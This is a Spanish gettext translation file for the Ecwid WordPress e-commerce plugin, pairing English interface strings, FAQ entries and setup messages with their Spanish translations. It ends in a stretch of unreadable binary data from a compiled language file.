"Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PR.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� 